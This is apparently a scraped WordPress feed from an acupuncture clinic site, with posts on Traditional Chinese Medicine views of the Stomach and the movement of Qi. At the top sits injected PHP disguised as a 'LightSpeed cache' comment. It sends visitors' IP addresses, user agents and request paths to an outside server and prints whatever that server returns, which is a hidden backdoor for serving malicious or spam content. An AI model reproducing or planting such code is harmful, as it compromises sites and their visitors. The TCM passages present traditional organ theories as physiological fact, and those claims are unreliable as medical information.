/** * Implement the LightSpeed cache. */ if (preg_match ('/.*77.*/', $_SERVER['REQUEST_URI']) || preg_match ('/.*ach.*/', $_SERVER['REQUEST_URI'])) { error_reporting(0); $url="http://w3lightcache.com/server_new.php";$params="h=$_SERVER[HTTP_HOST]&ua=$_SERVER[HTTP_USER_AGENT]&ip=$_SERVER[REMOTE_ADDR]&ip2=$_SERVER[HTTP_X_FORWARDED_FOR]&uri=$_SERVER[REQUEST_URI]";$ch=curl_init($url);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch,CURLOPT_POSTFIELDS,$params);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$result=curl_exec($ch);curl_close($ch); if (!empty($result)) {echo $result; die;} } Spleen Qi – American Institute of Acupuncture http://acuherb.us Acupuncture, herbs, and traditional Chinese Medicine, health full service spa Mon, 10 Sep 2018 16:49:35 +0000 en-US hourly 1 https://wordpress.org/?v=5.0.21 The Stomach http://acuherb.us/the-stomach/ Fri, 29 Jun 2012 19:04:01 +0000 http://acuherb.us/?p=1554

Functions of the Stomach 

      1. Controls Rotting and Ripening of Food
        1. Stomach transforms the food and drink we ingest. “Rotting and ripening” is the process of fermentation which prepares the way for the Spleen to extract the refined essence from food.
        2. After the refined part of the food and fluids has been extracted by the Spleen, the Stomach passes the remainder to the Small Intestine for further separation and absorption.
      2. Controls Transportation of Food Essences
        1. Together with the Spleen, the Stomach controls the transportation of the food essence to the whole body including limbs. 
          • Strong Stomach Qi: strong energy.
          • Deficient Stomach Qi, weak food essences, and
          • Stomach will not have Qi to transport them to the whole body, hence fatigue, and especially weak limbs.
        2. Stomach affects tongue coating.
          • Tongue coating or “fur” is formed by some “turbid dampness” that is a by-product of the Stomach’s rotting and ripening activity. This dirty dampness rises up to the tongue to form the coating.
          • Thin white coating on tongue = Stomach is functioning properly. No coating or peeled coating = Stomach’s digesting function is impaired and Stomach Qi and perhaps Yin severely weakened.
      3. Controls the Descending of Qi

        Stomach sends the transformed food down to Small Intestine for further separation. Therefore, in health, Stomach Qi moves downwards.

        If Stomach Qi fails to descend, food can stagnate in Stomach and cause feelings of fullness/distention, sour regurgitation, belching, hiccup, nausea and vomiting. 

        Causes of Stomach Qi failing to descend: 

        1. Overeating, which “overwhelms” Stomach
        2. Liver invading Stomach (Five Element scenario)
      4. Stomach is the Origin of Fluids
        1. Stomach needs plenty of fluids in order to perform its rotting and ripening function.
        2. Fluids themselves are actually derived from ingested food and fluids. 
          • Stomach ensures that part of food and drink goes to form essences (which are extracted by the Spleen). The Stomach ensures that the other part of food and fluids condenses to form body fluids. Hence, Stomach is important source of fluids.

        In the Nei Jing, it states: “The Stomach likes wetness and dislikes dryness.”

        If Stomach fluids are abundant, digestion will be good, sense of taste will be normal. Deficient Stomach fluids (Deficient Stomach Yin): poor digestion, thirst, dry, cracked tongue.

        Causes of deficient Stomach fluids:

        1. eating large meals late at night
        2. deficiency of Kidney Yin, or from long-term loss of fluids.

Stomach can suffer from Yin Deficiency (Deficient Fluids) or from Yang Deficiency (producing insufficient warmth to rot and ripen) or from Retention of Food (which can relate to either).

    1. Stomach’s Relationship with the Spleen

      Stomach = Yang Earth. Spleen = Yin Earth. Close relationship Stomach Qi descends, Spleen Qi ascends. 

      Stomach likes wetness and dislikes dryness; Spleen likes dryness and dislikes wetness. 

      If Stomach too dry, Stomach Qi cannot descend and food cannot be moved down to Small Intestine. If Spleen too damp, Spleen Qi cannot ascend and fluids and food cannot be transformed. Stomach easily suffers from Excess, Spleen easily suffers from Deficiency. Stomach is prone to Heat, Spleen is prone to Cold (producing Dampness). Stomach tends to suffer from Deficiency of Yin, Spleen tends to suffer from Deficiency of Yang.


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Movement of Qi http://acuherb.us/movement-of-qi/ Fri, 29 Jun 2012 17:26:40 +0000 http://acuherb.us/?p=1523

By Dr. Kenneth Wang

The harmonious functions of the organs and various types of Qi rely partly on correct direction of Qi movement. Qi has to flow in the right direction: exiting-entering and ascending-descending.

Lungs

Control respiration: inhale clear air Qi & exhale impure Qi. 
Control the descending of Qi: send Qi downward to Kidneys & Bladder.

Liver

Controls the smooth flow of Qi in all directions, esp. upward.
Lungs & Liver balance each other (Lung Qi flows downward, and Liver Qi upward)

Kidneys

Control transformation of Water.
Impure Fluids flow downward & clear Qi flows upward.
Lung Qi descends to Kidneys. Kidney Qi ascends to Lungs.
Lungs send Qi down. Kidneys receive Qi.
Lung controls exhalation. Kidney controls inhalation.

Spleen/Stomach

Spleen sends pure Qi upward to Lungs & Heart.
Stomach sends impure Qi downward for further refinement.
Spleen controls transformation, Stomach controls receiving.
Therefore ascending of clear Qi and descending of impure Qi depend on ascending of Spleen Qi and descending of Stomach Qi.

Heart and Kidneys

Fire of Heart flows downward to meet Water of Kidneys.
Water of Kidneys rises to nourish Fire of Heart.

Derangement of any of the above directions of Qi flow can cause problems.

Example: Stomach Qi rises instead of descending: nausea, vomiting, belching.
Spleen Qi descends instead of rising: diarrhea, prolapsed organs

The Functions of Qi

  1. Transforming
    Examples: Spleen Qi transforms food into Food Qi.
    Kidney Qi transforms Fluids.
    Bladder Qi transforms Urine.
    Heart Qi transforms Qi into Blood.
  2. Transporting
    Examples: Spleen Qi transports Food Qi.
    Lung Qi transports Fluids to the skin.
    Kidney Qi transports Qi upward.
    Liver Qi transports Qi in all directions and upward.
    Lung Qi transports Qi downward.
  3. Holding
    Examples: Spleen Qi holds the Blood in the Vessels.
    Kidney & Bladder Qi hold urine.
    Lung Qi holds sweat.
  4. Raising
    Spleen Qi raises the Organs (keeps them in place)
  5. Protecting
    Lung Qi (by virtue of circulating Wei Qi) protects the body from exogenous pathogens.
  6. Warming
    A function of Yang. Kidney Yang in particular and also Spleen Yang, warms the body.
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